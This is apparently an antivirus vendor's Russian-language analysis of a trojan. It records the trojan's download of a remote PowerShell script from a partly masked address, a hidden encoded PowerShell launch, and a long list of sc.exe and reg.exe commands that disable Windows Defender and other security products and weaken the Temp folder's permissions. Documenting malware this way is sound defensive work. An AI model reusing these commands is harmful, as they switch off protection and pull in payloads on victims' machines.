Trojan.Siggen13.58332

Техническая информация

Вредоносные функции

Для затруднения выявления своего присутствия в системе

блокирует запуск следующих системных утилит:

Системный антивирус (Защитник Windows)

блокирует:

Центр поддержки Windows (Action Center)

Загружает

http://11#.#31.88.242/images/psn/_dl.ps1

Другое

Создает и запускает на исполнение

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -NonI -EP ByPass -W Hidden -E UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgAgADYAMAAgAC0ATQBhAHgAIAAzADAAMAApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG...' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\reg.exe' Add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HideSCAHealth /t REG_DWORD /d 1 /f
'<SYSTEM32>\sc.exe' Config ZhuDongFangYu Start= Disabled
'<SYSTEM32>\sc.exe' Stop ZhuDongFangYu
'<SYSTEM32>\sc.exe' Config QHActiveDefense Start= Disabled
'<SYSTEM32>\sc.exe' Stop QHActiveDefense
'<SYSTEM32>\sc.exe' Config NisSrv Start= Disabled
'<SYSTEM32>\sc.exe' Stop NisSrv
'<SYSTEM32>\sc.exe' Config MsMpSvc Start= Disabled
'<SYSTEM32>\sc.exe' Stop MsMpSvc
'<SYSTEM32>\sc.exe' Config WdNisSvc Start= Disabled
'<SYSTEM32>\reg.exe' Delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /f
'<SYSTEM32>\reg.exe' Delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v "Windows Defender" /f
'<SYSTEM32>\sc.exe' Stop WdNisSvc
'<SYSTEM32>\sc.exe' Config Sense Start= Disabled
'<SYSTEM32>\sc.exe' Stop Sense
'<SYSTEM32>\sc.exe' Config SecurityHealthService Start= Disabled
'<SYSTEM32>\sc.exe' Stop SecurityHealthService
'<SYSTEM32>\sc.exe' Config MBAMService Start= Disabled
'<SYSTEM32>\sc.exe' Stop MBAMService
'<SYSTEM32>\sc.exe' Config a2AntiMalware Start= Disabled
'<SYSTEM32>\sc.exe' Stop a2AntiMalware
'<SYSTEM32>\takeown.exe' /F %WINDIR%\Temp
'<SYSTEM32>\sc.exe' Config WinDefend Start= Disabled
'<SYSTEM32>\sc.exe' Stop WinDefend
'<SYSTEM32>\reg.exe' Delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MSC /f
'<SYSTEM32>\reg.exe' Add HKLM\System\CurrentControlSet\Services\SecurityHealthService /v Start /t REG_DWORD /d 4 /f
'<SYSTEM32>\reg.exe' Add HKLM\System\CurrentControlSet\Services\WinDefend /v Start /t REG_DWORD /d 4 /f
'<SYSTEM32>\reg.exe' Add "HKLM\Software\Microsoft\Windows Defender\SpyNet" /v SpyNetReporting /t REG_DWORD /d 0 /f
'<SYSTEM32>\reg.exe' Add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Paths" /v %WINDIR% /t REG_DWORD /d 0 /f
'<SYSTEM32>\reg.exe' Add "HKLM\Software\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' Add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' Add "HKLM\Software\Policies\Microsoft\Windows Defender" /v AllowFastServiceStartup /t REG_DWORD /d 0 /f
'<SYSTEM32>\reg.exe' Add "HKLM\Software\Policies\Microsoft\Windows Defender" /v ServiceKeepAlive /t REG_DWORD /d 0 /f
'<SYSTEM32>\reg.exe' Add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' Add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' Add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' Add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' Add HKCU\Software\Policies\Microsoft\Windows\Explorer /v DisableNotificationCenter /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' Add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' Add "HKLM\Software\Policies\Microsoft\Windows Defender\Spynet" /v LocalSettingOverrideSpynetReporting /t REG_DWORD /d 0 /f
'<SYSTEM32>\reg.exe' Add "HKLM\Software\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
'<SYSTEM32>\reg.exe' Add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v NotificationSuppress /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' Add "HKLM\Software\Microsoft\Security Center\Svc" /v AntiSpywareOverride /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' Add "HKLM\Software\Microsoft\Security Center\Svc" /v AntiVirusOverride /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' Add "HKLM\Software\Microsoft\Security Center\Svc" /v FirewallOverride /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' Add HKLM\System\CurrentControlSet\Services\Sense /v Start /t REG_DWORD /d 4 /f
'<SYSTEM32>\reg.exe' Add HKLM\System\CurrentControlSet\Services\NisSrv /v Start /t REG_DWORD /d 4 /f
'<SYSTEM32>\reg.exe' Add HKLM\System\CurrentControlSet\Services\MsMpSvc /v Start /t REG_DWORD /d 4 /f
'<SYSTEM32>\reg.exe' Add HKLM\System\CurrentControlSet\Services\WdNisSvc /v Start /t REG_DWORD /d 4 /f
'<SYSTEM32>\reg.exe' Add "HKLM\Software\Policies\Microsoft\Windows Defender\Spynet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f
'<SYSTEM32>\icacls.exe' %WINDIR%\Temp /Reset /T
'<SYSTEM32>\icacls.exe' %WINDIR%\Temp /Grant :F /T